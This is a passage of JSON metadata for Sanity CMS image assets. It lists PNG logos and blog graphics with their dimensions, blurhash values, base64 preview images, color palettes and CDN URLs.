4+zs/Wz6/IbT3uJqaLGwrqERzfetqLbaUWGx8krtHV66Wssr1XWo+rueNTebYLHco+dWmQfHMo4yb8SzLMkUQUN+BIpixqIifQ57KvLd7r7m9k4b7rW144G9F//0unC7q5cNrR2sbWhhQ5MFTS130dzaAet9K721xQEcXmFGbvSrnpwRIlR9ofaBxxpDqMagql7w+fwBv9fHYCCIgKrSH1Th8wfo9fro8/nh9/vh1/ZcduLqDwF8M9eEj+UVFZTBXnyoVJL7qdVa+PyHLuDxi3nk2xrI4iwXPjUcQbbM1opc2FcvcLcONflIQH0DavAsoHoGaf+vGE1OG1B1kPh2Xptn+6gdjduS9ZypAQkBIKw8GC4hn0uHvs5t6Ou4Bo8jQDUwVCdhBX2Aow346zD509L+YP74otYs3Wtb1+SNjV50LeLhCEJ9kcDZJei8EYmaghmoKdiBW8U3Ybk8QGsdaWskO2qIW7+Tpfkqvk9z+PMnlvdkj9lYuMmYojeWxs1fcegxoFZC5XuFp7YI9qXG4MelM3F09Qc8sbkYxVm3UZz1AMfXd+PQwk5+MfWamjfyZ9tH8RmFm4ypLyw/Fm9IN42ctey3iNBMDKX9nAjmi9BaH4JzrURhe2QCd49PU/fqtwzsTv7MuUP3VX9O/Ce92XEbLFmT5h7KXKV7etmJMfp086gUoxKnTzeHgaGOOb5euECE6SKoKZDQWNK0UaLubZL4c5lPTT25Yd6swxuWTd+Z8X7iS68Xxk9YfG60wWgak2xURuvTzXEGo+kRkDkiyBuuRSbcNU6QHy8dB9ZKTjgFkbcZLcutsbK4OXbYwuphk42nh6cuPTVcs/p0c6zBaIoxGE3yL1cyOsJsTwX3AAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#314866","foreground":"#fff","population":0.06,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#9f430a","foreground":"#fff","population":0.09,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#fa7506","foreground":"#fff","population":4.52,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#a4bfca","foreground":"#000","population":0.21,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fadd73","foreground":"#000","population":0.08,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#5ca1b6","foreground":"#fff","population":0.19,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fa7506","foreground":"#fff","population":4.52,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"NetSpyGlass-logo-image-composition.png","path":"images/sczeoy4w/production/51555c9f7d4bcce542db7cd55658d35d1ace06f6-2500x2500.png","sha1hash":"51555c9f7d4bcce542db7cd55658d35d1ace06f6","size":58876,"uploadId":"YfJS1PtOBWlKaQ1CVnqX6651tyDfs4Jv","url":"https://cdn.sanity.io/images/sczeoy4w/production/51555c9f7d4bcce542db7cd55658d35d1ace06f6-2500x2500.png"} {"_createdAt":"2024-10-29T11:12:42Z","_id":"image-15e7a17281e03f08c994efd32c50815aad77bf31-800x200-png","_rev":"EyufRNy5j0xIBEOcdpDrKU","_type":"sanity.imageAsset","_updatedAt":"2024-10-29T11:12:42Z","assetId":"15e7a17281e03f08c994efd32c50815aad77bf31","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"D8E{hesy00W800~poeIVoeIp","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":4,"height":200,"width":800},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAFCAYAAABFA8wzAAAACXBIWXMAAA7EAAAOxAGVKw4bAAABZ0lEQVR4nF3QWSsDAADAcV9h8jQ2V5htzcJWmJUZshzNkxwTZoQcGdowWTK7KKOJMlOOF9eDWTwgUiJHK0f7MH85HuQL/Or/TxAIWxEkt5EusWConcTc5aXOOEuWfJjUnCEqqp1YugM0Ni+iUDtIk9jR6ucwW1ZpN69TrPOTLp9DJHUhkrpJ+AIThSbyVAM4nRucn90QDkepNbpQFIwxYl0jenrNwf4Vpo4gCtU0nV2rHB1echq5Y2R8j7wiLym5LsQyzw8oEJpQqgdZWNgl/hHn4T5GX38QVZEN+0SIp8cYL8+vTDl2UGuc9PSuc3vzyPtbnMBKBE35IqL/YFpON80mD6HQCeHNCE0tfiQKK3UNbgLLR4S3ovT0riEvcKA3+PD6jtnevsA2sYta6/tO/gO2kZTSQaa0D63OTnnVNPL8UYSZg2RIrWh0M1TWzFNYMoNYYidD5qC4zIOhfolSvZ9s5e9DmZtPBYnbwtv4vggAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#222046","foreground":"#fff","population":0.84,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#041c73","foreground":"#fff","population":0.25,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#d2c29e","foreground":"#000","population":2.78,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#bbc6c5","foreground":"#000","population":0.15,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#d2c29e","foreground":"#000","population":2.78,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#aca96f","foreground":"#000","population":0.12,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#261cb4","foreground":"#fff","population":0.02,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"Untitled design (2).png","path":"images/sczeoy4w/production/15e7a17281e03f08c994efd32c50815aad77bf31-800x200.png","sha1hash":"15e7a17281e03f08c994efd32c50815aad77bf31","size":32961,"uploadId":"zJLN5cixqYQRRvPRxVqxj69ForlGz34i","url":"https://cdn.sanity.io/images/sczeoy4w/production/15e7a17281e03f08c994efd32c50815aad77bf31-800x200.png"} {"_createdAt":"2023-05-05T09:27:21Z","_id":"image-f83ce939cf7a0497928073195ff76568772c3683-1567x844-png","_rev":"GhNwFaTAL1WgSe2HZjawOn","_type":"sanity.imageAsset","_updatedAt":"2023-05-05T09:27:21Z","assetId":"f83ce939cf7a0497928073195ff76568772c3683","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"M655|z_NxuRQM{?v-;WXM{R*aeRjM{WBt7","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.8566350710900474,"height":844,"width":1567},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAIAAADwazoUAAAACXBIWXMAABcRAAAXEQHKJvM/AAABsElEQVQokXWQ7WvTQBzH06RJ6OzSZpFCp2+EITR3eWhyaVaoa6dsCEKn0nUKTjv0HkwutbqHFxOh03Y+zOC/LFl9ZTP4cC9+fD/3+94JpWash5O11ngtGOso0by46nPDT4xgbKCk3IwlSAWT5FPrHFt7F8H+LBxeosHM6k+bz7629ufhcI4Gs3s75yUvvlFe7521Di4fHaUPj9LeKH1weNV++cN7/s3uTxtPvqx3T1U3ytEAFQAT7vTONl9833n7p/fm9/Yo3R6lztOLWvvjqhutuJFiMxHQPPN9Rr176g9mW4e/Oq9+br2+CobzevdEtlihgRf8ZxYymQkwyk6jPbn/+LPdnzp72Ws3ds9v+TxLLFEwiQiIBLAIaAFeb1ZsVm7GFY9XPa77SdmNizd8rwiwDLEC38kAFwEVAROy+xY0yL+qOSYVIZUtIkMsASwBIgOimEQoQVxxmeZz1YmyPtf1lqCSRRU767yYFE2imlgwHHw3jOudT5VgrNhMhqy4hGwx1WEll6k2lWGWUSFdsYhgBLy2mdxuT/Twg4aS1Xx4JeB6i+sB11CioaSKuIHiv1LmlmteXS5gAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#592f43","foreground":"#fff","population":0.03,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#042c64","foreground":"#fff","population":73.08,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#042c64","foreground":"#fff","population":73.08,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#bca4d4","foreground":"#000","population":0,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#d4c8f8","foreground":"#000","population":0.01,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#5c7293","foreground":"#fff","population":0.88,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#485cb8","foreground":"#fff","population":0.01,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"cluster_program_interview_4screen_blog.png","path":"images/sczeoy4w/production/f83ce939cf7a0497928073195ff76568772c3683-1567x844.png","sha1hash":"f83ce939cf7a0497928073195ff76568772c3683","size":53436,"uploadId":"ZP0821IJ8FqGAx2MBjmDejiwREkeasKj","url":"https://cdn.sanity.io/images/sczeoy4w/production/f83ce939cf7a0497928073195ff76568772c3683-1567x844.png"} {"_createdAt":"2022-06-15T20:01:51Z","_id":"image-57272127e603b2f0f1e19cbf7b61052b00b2f116-1567x844-png","_rev":"LKSVNTHAdZDLniZ7u2tUmp","_type":"sanity.imageAsset","_updatedAt":"2022-07-13T10:39:47Z","assetId":"57272127e603b2f0f1e19cbf7b61052b00b2f116","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"MZQ~,O_hxGTbRC-DROTLnhngvfXTS1kDsR","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.8566350710900474,"height":844,"width":1567},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAYAAAB/Ca1DAAAACXBIWXMAABcRAAAXEQHKJvM/AAAC9UlEQVQokSXFa0+TdxyA4edjLRn6QhZhYAu05dAWw7oeKD2utKyIyVBmlLLCFkk3RkR2Ki4OlyCZlcMmxwptlW5uqCiLg7jEmA239VEg//7uJduLK5fGa81wrO1/R2zwuhUqWqCiETlqgsp6qKpDThgRkwGxNyAhB6q/h8OxIQ7SKfbHB9gfDHNwuhGNo61gCoAlBEYvGNyIwQm1duS4Cak2UjbUcdjYRMnh4nlXF7sXk2xPTbK1usaDbJF78zk20hmKyVE0KmxQ64H6Dqj3ICYXtLgR61tgaYYmM8rezJ4ryGYkwfJAioVvRlm4PUP24S6Fx3+z+kuJuaU9pieeoHHECnXtYA9DWxBx+BBvEIJBJOBBBd5mP+LjaU+S+VPjTCZHWM5cYmX5Jmv5J2z+WmLzqaJwXzE7/wqNY1aw+sAbBX8E8QeQsB+6ApSjbl4EHezGT/Pog6ss9V3ju8Qn5D7/grXRH1j99hEbP/7JTw9L5PN/MT/9HI3qJrA5od0H/g7E70J8rRC0chiwsuN1sh65QOHcDe5eyLAyOMKdi6NsJK9TvL5EYWWd7PQGq+NFFodyaBhM0GIFRyt47Ii3BWmvg/YaSh4r9129LLxzmeyZKe70T5Ib/pDN8T52JpI8W/mI7cUkudTHFONptkJpNDEbRVrNIq5GEa9FJGASwnUi4Tdlz9Mm+ZNjkoncktnzUzKXSMlM8owUxyLy+5WI/HEjKI+nPLJ4tlNyjj7ZOnlONFqN0NEMnXaItSDxJuixIPET/OO38bNzhFuxLDO9Ga50pxjufp/0+RhzA36+H3JzbcDNWCjKVVuMWXMIDWetImhSxMyKmFHJu7WKeI2SruPqINygnvlOqW3/iHoQ/Uwt935ZHk98JcOJEUmd7ZfheHd50BdWQ7aoutzQoW5a7ErDU6Xjr9YJV+lE3tCls1InWvnf5c5q/SBs0V8G7frL96L6i68n9n9bXVf3VgpyNzOv8pc+fZXtDutLbXY9ZzfpO54a/V97pHH4GnN8pgAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#322d6b","foreground":"#fff","population":0,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#3a347b","foreground":"#fff","population":6.84,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#fb484d","foreground":"#fff","population":6.91,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#edecf5","foreground":"#000","population":6.33,"title":"#000"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fb484d","foreground":"#fff","population":6.91,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#960219","foreground":"#fff","population":0,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fb3352","foreground":"#fff","population":6.71,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"57272127e603b2f0f1e19cbf7b61052b00b2f116-1567x844.png","path":"images/sczeoy4w/production/57272127e603b2f0f1e19cbf7b61052b00b2f116-1567x844.png","sha1hash":"57272127e603b2f0f1e19cbf7b61052b00b2f116","size":250267,"uploadId":"xom4HvEx2PP6N4LyCTGgvYWR0CmsnWf2","url":"https://cdn.sanity.io/images/sczeoy4w/production/57272127e603b2f0f1e19cbf7b61052b00b2f116-1567x844.png"} {"_createdAt":"2022-06-15T20:01:52Z","_id":"image-d68171a776fa13747091973cc018603eb3f96ac4-1567x844-png","_rev":"oP937kX6v07bcvrIPZN9nJ","_type":"sanity.imageAsset","_updatedAt":"2022-09-17T20:45:25Z","assetId":"d68171a776fa13747091973cc018603eb3f96ac4","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"MZQlXoystnZ$NuKlazn$oIbIt-R4V?oMoz","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.8566350710900474,"height":844,"width":1567},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAYAAAB/Ca1DAAAACXBIWXMAABcRAAAXEQHKJvM/AAADPklEQVQokR3Mz2/bZBjAcf8VXLkgcUNcxgWE4IC0iRsgLggk0LTLhhBIHJDQUBFMc4FpqQZoa5Nua5c2abp1Wbt0XRqyrjRJ2zht2iaNY/uNE8e/3tdxGidZms7Pg+jho+/ty9VU6ztRakyWK7X58iGZq1TrsaqsxSpiPVau1KKS0pxqGm5I052gJGuhGtGCtlILMomEdNUI1lRzUtPZjE07dyjzLnNVWQsKOyUxkyu0sps7NF8osZ1ihW3n91luq0iLe6IlVlVzc1MwHy8/NTOpVaO5NGs6sTumlE4bmY2skRd2maI0ZMNszXNa04lKctM5FFWsVOsoKU2UiYFVWUNRapzKbRUwHJ7FiYlxTMVuYePWt+j8fh7F6BiuLM7j4uISZjK5I0lSk5zNurMW9WyLemhRz7dZF/5nUe+0dc2GVOoZBAJj8Nf1n2Fz9hK0Jt/1O3++5Stzl2B5IeSHwzP4JB5rH6bvr3PU6UWo06PU6SF1ukCdLlLmAWNtbFkNMOUsbCRnIDR+A8I3fwQxdhYGD1+H3sIZUBMXIb10Gxbmo/jvzB99/eanFY4yL0KZRynrIGNHpyOHutgya+iJUezmvkYl8RWmYlcwGRtFEv8EB0vvYH/hHBoPLmIhEYLso7tYDV540f31NcIx1o44zKUt2sIWZb5rU3BtGzqNPAzy34OffAO8xBnYjX8DK9HfYD98AXq334dh4E2wxj4AIXIVig8CyO5+2T2ZOFvgXNuOuJZlu5aJbcvwj6wmdKwmdOtZOBZ+AP/5h9BZ+wJyD0fgfvAKCNc/ht4vr8LLn14B69p7kAlf9XOPJtF+NuH6QniV66hStEVERmsiupqMXYNgzyTY1wp4XJ3DYXkcLWEK1x5PY2J6DEt/f469wNs4DH2END6ChZVZzP2TwEZxrX1S337KdSuFG87BtqCXBZWRA6Wni2RgiGSgl8ixJpBhfYPQUork03GSX75Hmolr5EVylJxsTpPO3hNSE1aVUi6p6vvrxZP61hTXJ3ufdeTdy65SHPXqB/xAL/PHeokf6gf8sLnHn2gC3ycZnh6keWc/xQ/ENO8r67xfy/Ev1S2+J2V49/D5aF/OjEBj6/x/BPnL97ZhJG8AAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#4a2f26","foreground":"#fff","population":0.36,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#7f3d05","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#f5780e","foreground":"#fff","population":5.5,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#cbc2b3","foreground":"#000","population":4.02,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#ecbe85","foreground":"#000","population":1.18,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#987d53","foreground":"#fff","population":0.17,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f5780e","foreground":"#fff","population":5.5,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"d68171a776fa13747091973cc018603eb3f96ac4-1567x844.png","path":"images/sczeoy4w/production/d68171a776fa13747091973cc018603eb3f96ac4-1567x844.png","sha1hash":"d68171a776fa13747091973cc018603eb3f96ac4","size":555444,"uploadId":"PFdMjXCMt2eZskEyJVvhtDGmf6MBVH8h","url":"https://cdn.sanity.io/images/sczeoy4w/production/d68171a776fa13747091973cc018603eb3f96ac4-1567x844.png"} {"_createdAt":"2022-06-30T19:58:31Z","_id":"image-51ae6e858e77c19e3978f586797819acccfde44e-1400x875-png","_rev":"QRl2cGoCgj0FlAhkRrhod0","_type":"sanity.imageAsset","_updatedAt":"2022-09-08T16:20:10Z","assetId":"51ae6e858e77c19e3978f586797819acccfde44e","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"VPLLnL}R1|K8EK=@R.ShngSj1$E*[Wn$w]pJs.niNdw]","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.6,"height":875,"width":1400},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAANCAYAAACpUE5eAAAACXBIWXMAAAsTAAALEwEAmpwYAAAEAUlEQVQ4jRXDe0gbBxwA4KNxgw5GaUGzzW10rB2OUjsmGzVGN8TZGrU1XbW1atQparU+G9OYXBLzNPHyMLncJbk8anxGCYPVaCpjg7VqB5lFxtgGg+E26IZXtOg/M+rvN/bBR3g8ngyv13uCZZlMxufPcrOBLAfty6LcjJBye4V2mhU6Gb/QGwwLueikkItOCFkuKKS9XiFN01ksy2b5fL5MhmFOuFyulwiGYd4eHx+XTU9NGmcm7ltmwn7LbMg7EgvS1jnu/17rPMdY4yG/NR7mbLFw0DYdCdsmo1FrJBKxMAxjoWnaSNN0k8PhOE0wLPvRfGx65mGMe/YdR/JrY51bKUc7v0618+u2Dn59pIt/au7hnxr7+R8Mcv57vfL5oxEjv8wF+KlIeIuy2/mRkZG/7Xb7nM1myyc8XrZgYS66tDE+dPjMUoDbyjO4K38P93rfx707ubjXkYd7rRdxr6kQd+uL8cXNS7jVeAN/Megw7vOhyWRCjUZzZDabl81mcxHhHPOIlqaYxO9s3X5a/TriwMkj7MsG7DoN2H4WsOUcoOwCYG0eYI0I8GoRHFWWwj893fDA5ToyGAygUqnSer0+qdfrCwmb3SlailCLf7ivpQ/VbyKqzwIYxAiGUoDhCgCyCmBQitAjReisQWj8HLGqAp+3d+DCKAX64WFUKpUHWq02qdFoCgnrKCVaDNkSmy5p+lCZjah4B8BUjEDVIFjrEEwyhOFmBGUzYncDwi0ppssr8c+WLoxbKNBqtahQKA5IkkySJCkmrJRDtBhxJDbHatIHd19D7DwFMHAOQCEGGPgUoLsEoKscoO0KQK0EdsrLYe1yM3ANFlApWOhTGvHePWVaQ5JJtVotJhwud35yNrSwGe7dP9DmInZnA3a+C9iWA9h8HrAhD7A2H7C6CP69WgKPK5phqJ6BG/0P4bOer+B6N43yIV1ap9Mm1WpSTLjG3PmJL+cf/JwI7/MTg7jtqoMdSzXsDFfDNnkTtofqYVvRBC/krbDZ1wOeNgfIVN9gD/crVuqeYHHHfbwzaDwY1mmX1KRGTFAUdX5yIupeiMc2vo1Hf1qZ9a2vRd2p1bAztRp0plYDrtSK3516wnlTy2wgJdfMbZSrHv9VS/24+8ngypa4Nfzb7QHdhlZDeodU6g8Ik9F40mazFZotlqZRh7PZz4Wuh0KhqiAXkAYDASnn90u5QEAaDgalPi5SJdPEanNavybfanoUFNYuj+bd8nS13O5vVAzKi+7KFacIg9FElF0qzfj4wwuvXMzNOV4lys34QlJ0rE5SLKiXlAjqykoE9ZJSgayiQtB7pfRYrpR+WVCxmEmULZ8hLiey3ygmXy0oKDgukZRndPXKif8A+lhSF4NW8GAAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#66543c","foreground":"#fff","population":0.01,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#04248c","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#fa5a23","foreground":"#fff","population":23.36,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#b9c2c4","foreground":"#000","population":0.41,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fcbc64","foreground":"#000","population":0.01,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#727272","foreground":"#fff","population":8.65,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fa5a23","foreground":"#fff","population":23.36,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"51ae6e858e77c19e3978f586797819acccfde44e-1400x875.png","path":"images/sczeoy4w/production/51ae6e858e77c19e3978f586797819acccfde44e-1400x875.png","sha1hash":"51ae6e858e77c19e3978f586797819acccfde44e","size":397427,"uploadId":"wWJObLEcXvgSc8GkM8lpv3CJGmdhDORa","url":"https://cdn.sanity.io/images/sczeoy4w/production/51ae6e858e77c19e3978f586797819acccfde44e-1400x875.png"} {"_createdAt":"2022-06-15T20:01:54Z","_id":"image-45f179709405cd1f72a6696b881d905a1da3a462-1567x844-png","_rev":"lf1jOsEAA7PAFZMZhZodUa","_type":"sanity.imageAsset","_updatedAt":"2022-09-26T16:06:08Z","assetId":"45f179709405cd1f72a6696b881d905a1da3a462","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"McPO_C~pY5GG=_t,KPv1r?WBnmx]WCVrs;","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.8566350710900474,"height":844,"width":1567},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAYAAAB/Ca1DAAAACXBIWXMAABcRAAAXEQHKJvM/AAADR0lEQVQokR3DfUyUdQAH8Gf9U/1X64/6o/hDNmxuxVpEudLWqGgp2GJR4pytnK1mOt/IfGOXpDIqotkwAZNATEAgMLhi8ip34JmTu+PlOO/gnuPe8V641+e55/f9tvpsHynrcTPhWmbc62Ei8oCJSIwRbxh+p///QVcwGw1Fo0oqGdDWPGthy7Qw1LSycVMVatd9xdpcHdvy9nFx/QvU8h6llHI56bHMUJ610rPkZNDrp1/2wzHrgN1s/6+Q7XI6Fo5GYquB+MKQUXR/doH1zx9F3YZKNr1RQ/37p+gq3kjl5UcopT3L9M1bKS/M0yO74fcFEPAGuLLkhnPOAYflPt02WfO7QynrYiD118CcuFrVz6b36nCt4nsavvud9y81MnT8La5VPEwp5V/irMmI8ZFRGoy3YZy+g7v3ZmA2WzltMGHi5iRvj5tgmprNtg/OqWfbZsTF1nscuDgC89UBBqfGGRu/wmjdmwx/8RClZEjGnalJ9vb2o+ePP9Hf04exG4Oc0v/N4d4e3Ghvpb69DUNdfaLht1Gxv34C567M8OaYDQuGaTonhykPNDPw41aGK5+kpCSi8LjdsM7ZaJ6ZhU0/Au/5ywie+wnehjN0tR6i6+c9WKo/iImWVrRcN6FjaJH6YQuazl9j9ZFaXqg6w7vNOka6T1JSFYWh0Cpc8grlJRmRwRGhfX4CLN4B7C4lfngJ0D2N7KENCLechstqg93u5/WOUZRt+5p568pZsuUw+7qHGAt4KWUyKnw+PxzOZbjlFW3t1rQqvjypsbAULCoiD+aD1U8AumeQ6TyFsN0Oi8mOmhO/4sVnd+Hxx7Zg8zuV6NL/g1gakBRFRSj0gD5fENFYXFFldwoNl7N492OgcCuxrYg8kE+tpoDhNh0t3eO89E0HKzYfZv5T5czN+ZAlO79l75iZ4bhKSVE0JJJpkUhmMtmsFsFaPIwxo4ID1cCmj4DCEvDtYpHZXiLmdx8Tndt/Ecc26kRJzid4NWcnXn9tP/YcbxL9BpuQVxVNSisCaUWoahYhoQkH4skVLDhTaO4U+GCvQGGZxsKyTPKVHempgiPpxudq0qfXV2U+zd2rlhbs08p3nc0ere9Se2/Z02ZXOvkv45GmLlF++WMAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#642d5c","foreground":"#fff","population":0.45,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#0b0d48","foreground":"#fff","population":2.71,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#fb334d","foreground":"#fff","population":8.27,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#a3b6d0","foreground":"#000","population":0.22,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fb334d","foreground":"#fff","population":8.27,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#517394","foreground":"#fff","population":2.12,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f45106","foreground":"#fff","population":6.54,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"45f179709405cd1f72a6696b881d905a1da3a462-1567x844.png","path":"images/sczeoy4w/production/45f179709405cd1f72a6696b881d905a1da3a462-1567x844.png","sha1hash":"45f179709405cd1f72a6696b881d905a1da3a462","size":96355,"uploadId":"pCSntXzb95oAVimgZiijLzLOqh5IYkx4","url":"https://cdn.sanity.io/images/sczeoy4w/production/45f179709405cd1f72a6696b881d905a1da3a462-1567x844.png"} {"_createdAt":"2022-06-15T20:01:54Z","_id":"image-f9da7dc0336f3436e1634ebb39fdb6577eaf6b27-1567x844-png","_rev":"cEPH2uRN58AU2lp9QO7vfl","_type":"sanity.imageAsset","_updatedAt":"2022-09-08T16:22:02Z","assetId":"f9da7dc0336f3436e1634ebb39fdb6577eaf6b27","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"MGF[fgx[%gIUtm$zM|aKoeSO?^pJMdsSbc","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.8566350710900474,"height":844,"width":1567},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAYAAAB/Ca1DAAAACXBIWXMAABcRAAAXEQHKJvM/AAAC5klEQVQokW3Oy1NScRwF8PtvtWnRqpo2TTM1bQqbppqmLCeNMqOmshoQkIcgZGlJKY2JqSBUPkBCCPSKwOVyH7yVgIvW4u7u/E4D1q7FZ87me858KQffgC1TwUi6jJFMFXa2BofQhFOU4GgTDo3yTdjbt1wdFrYGW7oAVyoDN5PFOFeBQ2jAKUigbMwu9DEGQ5EUDLEszMki7FyjMzb6l12QYBOasHJ1GJk9vNguYmhjC65QAHOxVbzL5GDnfsLON0FZmSp0UQbaSAr6eA7D23mYUiUM7xQ7aWaqMDO7MKbL0NIinsQFqCMs1IEwdJ89eP3NDwfNwMLuwcLVQRloAY98QfTPBqBZWIXGu4aB+RUMLKxA4wt1PPSFcH9+Bb2eZdz2x3BtOYkrixH0ffJDu7QKazwLM1uDKVcHpUvkoP7oxU3HJLqdLnS/cuHW6w+4896D3g9zuOGYxFXzGC63jbnRNRvEed8mLvri6P+agDGUhm27DAvXwDDXAGVIFjpftMttd92L6J36DPXMEtSfArgxNoXLple4ZJ2AasKDszMhnPDEcG5pC5p1FpZYEZZMHSZegoFrgjKmK3ga3MJDbxAafxiPv0XxYDGI/sU1PPB/R9/cMrrdPlybXsIF91eccodw1B3BaR+NezER+lQVRq4Bg9DCECeBGuYaRJ+uEN12geiSJaLbKZGXdJ682BTJc7pAnibyZCDKkZ5QhqgCNDk+s0GOuNbJqYUE6UnkySBbIzq+Tob4JtFyEqEs+X38Yxb3YRJbMAktGPkW9JwELdvAs0wN/XQF18M8znhpHJtax8npILq+bKE7nMW9SBbPkmVocxIoZ+lAcRYPOTr2ldHCIVu+pVhFSTHzTUXP1pXB1K5yP15Qrq+kFJUnrKhmw0rXfFS56Y0qgz84xSxICjW5+1t+V/2Pym/5beVXx0T5lzxePpDflPblsUJLtvF12ZAsyi8Tgvw8Lsq6TVG2s3vyeOlA/gOqUbCe0S7w+AAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#294658","foreground":"#fff","population":0.43,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#1d6583","foreground":"#fff","population":0.47,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#329cbd","foreground":"#fff","population":2.59,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#d8cab5","foreground":"#000","population":1.07,"title":"#000"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#92ddfc","foreground":"#000","population":0.41,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#658a96","foreground":"#fff","population":2.01,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#